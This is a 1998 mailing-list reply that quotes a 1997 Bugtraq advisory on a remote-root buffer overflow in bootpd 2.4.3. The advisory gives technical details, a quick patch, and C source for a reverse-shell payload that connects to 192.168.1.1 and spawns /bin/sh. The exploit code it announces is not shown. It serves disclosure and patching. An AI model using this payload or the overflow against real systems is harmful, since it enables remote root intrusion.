Re: Nomination question: Redhat
On 13.12.1998., at 03:18, James Troup wrote:
>recent fte fiasco, which was far worse than anything Redhat have
>done[1].
IIRC, they actually released distro with some lame suids.
Fte in hamm doesn't suffer from any security problems.
BTW does anyone know yet what is going to be
done about that bootpd remote root exploit?
This was on bugtraq (sorry for the length):
Message-ID: <19970625000806.A15051@pitel.ml.org>
Date: Wed, 25 Jun 1997 00:08:06 +0200
Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Willem Pinckaers <W.H.J.Pinckaers@CPEDU.RUG.NL>
Subject: Exploitable buffer overflow in bootpd (most unices)
To: BUGTRAQ@netspace.org
Introduction.
While browsing the bootpd source of version 2.4.3, shipped with most recent
unices, an overflow bug was found in the handling of the boot file/location
specified in a bootp request packet, and a second bug exists in the error
logging facility (which is only available when running with a debug level
bigger than 2).
This bug introduces a major security hole, including the possibility of
remote root access.
Vulnerable Systems.
All systems running bootpd 2.4.3.
All systems which are using a bootp daemon derived from the bootp daemon
originally released at Stanford University.
We don't know of any unix system that is NOT vulnerable to this problem.
Exploit code was tested against linux systems running debian 2.0 (glibc),
and
debian 1.3, both running bootpd 2.4.3.
Technical Details.
The handling of client-side specified boot request data is not handled
properly.
Specifically, the handling of bootfile specifications can be subject to
buffer
overflows.
The bootp specification states a bootfile location as being 128 bytes at
most,
but since the bootp protocol states a bootp packet can be sized at 3*512
bytes,
it's possible to specify a bootfile location of roughly 1500 bytes.
Since the buffer allocated for storing the bootfile is sized at 1024 bytes,
a sufficiently large bootfile location can overflow it.
Bootpd's derived of the bootpd version 1.1 released by Stanford did not
check sufficiently on the size of a specified bootfile location.
In this version of bootpd, shipped with irix 5.3, among many other unices,
a vulnerability of this kind exists.
The bootpd shipped with debian 1.3 and 2.0 distributions, and probably all
other
linux distributions (bootpd 2.4.3) has some changes regarding this bug.
If no bootfile and boot directory are specified in /etc/bootptab, this
vulnerability still exists.
Impact.
Remote users can (in certain cases) run arbitrary programs uid root on a
machine running a vulnerable version of bootpd.
Machines running a version of bootpd derived from bootpd 1.1 (Stanford) ,
are
always vulnerable, machines running bootpd 2.4.3 are vulnerable under
specific
conditions, specified below.
Fix information.
As the last stable bootpd source is vulnerable, no official fix information
was
released at this time.
We release a quick and dirty fix, because there are several different
bootpd
2.4.3 packages floating around. A universal patch is therefore not
possible.
In file bootpd.c, add a line at the beginning of function handle_request():
bp->bp_file[127] = '\0';
In the file report.c, in the function report() , change the size of buf[]
to
256.
Commentary.
The reason people have missed this bug, is probably the bootpd
specification,
where the boot file location is specified as being 128 bytes at most.
By using a bootpath that overflows the buffer used for storing this
location,
a malicious user can obviously get remote root access quite easily.
As bootp is used quite frequently in booting diskless clients, the impact
of
this exploit can be quite big. Fix your bootpd's people :)
A copy of this message has been sent to the bootpd maintainers for 2.4.3 .
Exploit information.
This exploit only deals with bootpd version 2.4.3 . Writing exploit code
for the other platforms is left as an exercise to the reader.
The following exploit has been tested against debian 1.3 and 2.0.
Information needed to succesfully exploit the bug in bootpd under linux:
An ip address of a client, listed in the target's /etc/bootptab - for a
client
for wich no homedirectory or no bootfile is specified.
Most of the time, this information is easily obtained.
Please keep in mind that the following exploit code is NOT to be used as a
tool to gain unauthorised access to systems, and is for educational
purposes
only.
The exploit code sends a faked bootp packet to a host of your choice,
containing
shellcode to do the following:
char *name[] = {"/bin/sh", NULL};
char *env[] = {NULL};
void main()
{
int sockfd;
struct sockaddr_in serv_addr;
int addrlen = sizeof(struct sockaddr_in);
sockfd = socket(AF_INET, SOCK_STREAM, 06);
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(1234);
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.1");
connect(sockfd, (struct sockaddr *) &serv_addr, addrlen);
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve(name[0], name, env);
}
Effectively, this starts a shell to a remote host.
The exploit code included starts a shell to port 12345 of host 192.168.1.1
.
Changing the exploit code to point to other hosts and ports is considered a
simple job, so this is left as an exersize to the reader, and to defer
script
kiddies.
Yours truly,
Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl)
Robert van der Meulen (Emphyrio@pitel-lnx.uvis.fnt.hvu.nl)
--- here follows the actual exploit code ---
--
enJoy -*/\*- http://jagor.srce.hr/~jrodin/
Reply to: